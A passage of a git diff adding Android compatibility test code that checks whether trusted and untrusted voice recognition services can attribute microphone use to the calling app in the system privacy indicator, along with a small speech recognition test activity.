+    private final String TAG = "RecognitionServiceMicIndicatorTest";
+    // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
+    private final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
+    // same as Settings.Secure.VOICE_INTERACTION_SERVICE
+    private final String VOICE_INTERACTION_SERVICE = "voice_interaction_service";
+    // Th notification privacy indicator
+    private final String PRIVACY_CHIP_PACLAGE_NAME = "com.android.systemui";
+    private final String PRIVACY_CHIP_ID = "privacy_chip";
+    // The cts app label
+    private final String APP_LABEL = "CtsVoiceRecognitionTestCases";
+    // A simple test voice recognition service implementation
+    private final String CTS_VOICE_RECOGNITION_SERVICE =
+            "android.recognitionservice.service/android.recognitionservice.service"
+                    + ".CtsVoiceRecognitionService";
+    private final String INDICATORS_FLAG = "camera_mic_icons_enabled";
+    private final long INDICATOR_DISMISS_TIMEOUT = 5000L;
+    private final long UI_WAIT_TIMEOUT = 1000L;
+    private final long PERMISSION_INDICATORS_NOT_PRESENT = 162547999L;
+
+    private UiDevice mUiDevice;
+    private SpeechRecognitionActivity mActivity;
+    private Context mContext;
+    private String mOriginalVoiceRecognizer;
+    private String mCameraLabel;
+    private boolean mOriginalIndicatorsEnabledState;
+    private boolean mTestRunnung;
+
+    @Rule
+    public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
+            new ActivityTestRule<>(SpeechRecognitionActivity.class);
+
+    @Before
+    public void setup() {
+        // If the change Id is not present, then isChangeEnabled will return true. To bypass this,
+        // the change is set to "false" if present.
+        assumeFalse("feature not present on this device", runWithShellPermissionIdentity(
+                () -> CompatChanges.isChangeEnabled(PERMISSION_INDICATORS_NOT_PRESENT,
+                        Process.SYSTEM_UID)));
+        final PackageManager pm = InstrumentationRegistry.getTargetContext().getPackageManager();
+        boolean hasTvFeature = pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+        assumeFalse("Not run in the tv device", hasTvFeature);
+        mTestRunnung = true;
+        prepareDevice();
+        mContext = InstrumentationRegistry.getTargetContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mActivity = mActivityTestRule.getActivity();
+
+        try {
+            mCameraLabel = pm.getPermissionGroupInfo(Manifest.permission_group.CAMERA, 0).loadLabel(
+                    pm).toString();
+        } catch (PackageManager.NameNotFoundException e) {
+        }
+        // get original indicator enable state
+        runWithShellPermissionIdentity(() -> {
+            mOriginalIndicatorsEnabledState =
+                    DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG, false);
+        });
+        // get original voice services
+        mOriginalVoiceRecognizer = Settings.Secure.getString(
+                mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
+        // QPR is default disabled, we need to enable it
+        setIndicatorsEnabledStateIfNeeded(/* shouldBeEnabled */ true);
+    }
+
+    @After
+    public void teardown() {
+        if (!mTestRunnung) {
+            return;
+        }
+        // press back to close the dialog
+        mUiDevice.pressBack();
+        // restore to original voice services
+        setCurrentRecognizer(mOriginalVoiceRecognizer);
+        // restore to original indicator enable state
+        setIndicatorsEnabledStateIfNeeded(mOriginalIndicatorsEnabledState);
+    }
+
+    private void prepareDevice() {
+        // Unlock screen.
+        runShellCommand("input keyevent KEYCODE_WAKEUP");
+        // Dismiss keyguard, in case it's set as "Swipe to unlock".
+        runShellCommand("wm dismiss-keyguard");
+    }
+
+    private void setIndicatorsEnabledStateIfNeeded(Boolean shouldBeEnabled) {
+        runWithShellPermissionIdentity(() -> {
+            final boolean currentlyEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                    INDICATORS_FLAG, false);
+            if (currentlyEnabled != shouldBeEnabled) {
+                DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY, INDICATORS_FLAG,
+                        shouldBeEnabled.toString(), false);
+            }
+        });
+    }
+
+    private void setCurrentRecognizer(String recognizer) {
+        runWithShellPermissionIdentity(
+                () -> Settings.Secure.putString(mContext.getContentResolver(),
+                        VOICE_RECOGNITION_SERVICE, recognizer));
+        mUiDevice.waitForIdle();
+    }
+
+    private boolean hasPreInstalledRecognizer(String packageName) {
+        Log.v(TAG, "hasPreInstalledRecognizer package=" + packageName);
+        try {
+            final PackageManager pm = mContext.getPackageManager();
+            final ApplicationInfo info = pm.getApplicationInfo(packageName, 0);
+            return ((info.flags & ApplicationInfo.FLAG_SYSTEM) != 0);
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    private static String getComponentPackageNameFromString(String from) {
+        ComponentName componentName = from != null ? ComponentName.unflattenFromString(from) : null;
+        return componentName != null ? componentName.getPackageName() : "";
+    }
+
+    @Test
+    public void testNonTrustedRecognitionServiceCannotBlameCallingApp() throws Throwable {
+        // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+        // is also a preinstalled app. This is a untrusted case.
+        setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
+
+        // verify that the untrusted app cannot blame the calling app mic access
+        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
+    }
+
+    @Test
+    public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
+        // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+        // is also a preinstalled app. This is a trusted case.
+        boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
+                getComponentPackageNameFromString(mOriginalVoiceRecognizer));
+        assumeTrue("No preinstalled recognizer.", hasPreInstalledRecognizer);
+
+        // verify that the trusted app can blame the calling app mic access
+        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
+    }
+
+    private void testVoiceRecognitionServiceBlameCallingApp(boolean trustVoiceService)
+            throws Throwable {
+        // Start SpeechRecognition
+        mActivity.startListening();
+
+        assertPrivacyChipAndIndicatorsPresent(trustVoiceService);
+    }
+
+    private void assertPrivacyChipAndIndicatorsPresent(boolean trustVoiceService) {
+        // Open notification and verify the privacy indicator is shown
+        mUiDevice.openNotification();
+        SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+        final UiObject2 privacyChip =
+                mUiDevice.findObject(By.res(PRIVACY_CHIP_PACLAGE_NAME, PRIVACY_CHIP_ID));
+        assertWithMessage("Can not find mic indicator").that(privacyChip).isNotNull();
+
+        // Click the privacy indicator and verify the calling app name display status in the dialog.
+        privacyChip.click();
+        SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+        final UiObject2 recognitionCallingAppLabel = mUiDevice.findObject(By.text(APP_LABEL));
+        if (trustVoiceService) {
+            // Check trust recognizer can blame calling app mic permission
+            assertWithMessage(
+                    "Trusted voice recognition service can blame the calling app name " + APP_LABEL
+                            + ", but does not find it.").that(
+                    recognitionCallingAppLabel).isNotNull();
+            assertThat(recognitionCallingAppLabel.getText()).isEqualTo(APP_LABEL);
+
+            // Check trust recognizer cannot blame non-mic permission
+            final UiObject2 cemaraLabel = mUiDevice.findObject(By.text(mCameraLabel));
+            assertWithMessage("Trusted voice recognition service cannot blame non-mic permission")
+                    .that(cemaraLabel).isNull();
+        } else {
+            assertWithMessage(
+                    "Untrusted voice recognition service cannot blame the calling app name "
+                            + APP_LABEL).that(recognitionCallingAppLabel).isNull();
+        }
+        // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
+        SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
new file mode 100644
index 0000000..66c8c9c
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.speech.RecognizerIntent;
+import android.speech.SpeechRecognizer;
+
+/**
+ * An activity that uses SpeechRecognition APIs. SpeechRecognition will bind the RecognitionService
+ * to provide the voice recognition functions.
+ */
+public class SpeechRecognitionActivity extends Activity {
+
+    private final String TAG = "SpeechRecognitionActivity";
+
+    private SpeechRecognizer mRecognizer;
+    private Intent mRecognizerIntent;
+    private Handler mHandler;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.main);
+        init();
+    }
+
+    @Override
+    protected void onDestroy() {
+        if (mRecognizer != null) {
+            mRecognizer.destroy();
+            mRecognizer = null;
+        }
+        super.onDestroy();
+    }
+
+    public void startListening() {
+        mHandler.post(() -> {
+            if (mRecognizer != null) {
+                final Intent recognizerIntent =
+                        new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+                recognizerIntent.putExtra(
+                        RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
+                mRecognizer.startListening(recognizerIntent);
+            }
+        });
+    }
+
+    private void init() {
+        mHandler = new Handler(getMainLooper());
+        mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
+    }
+}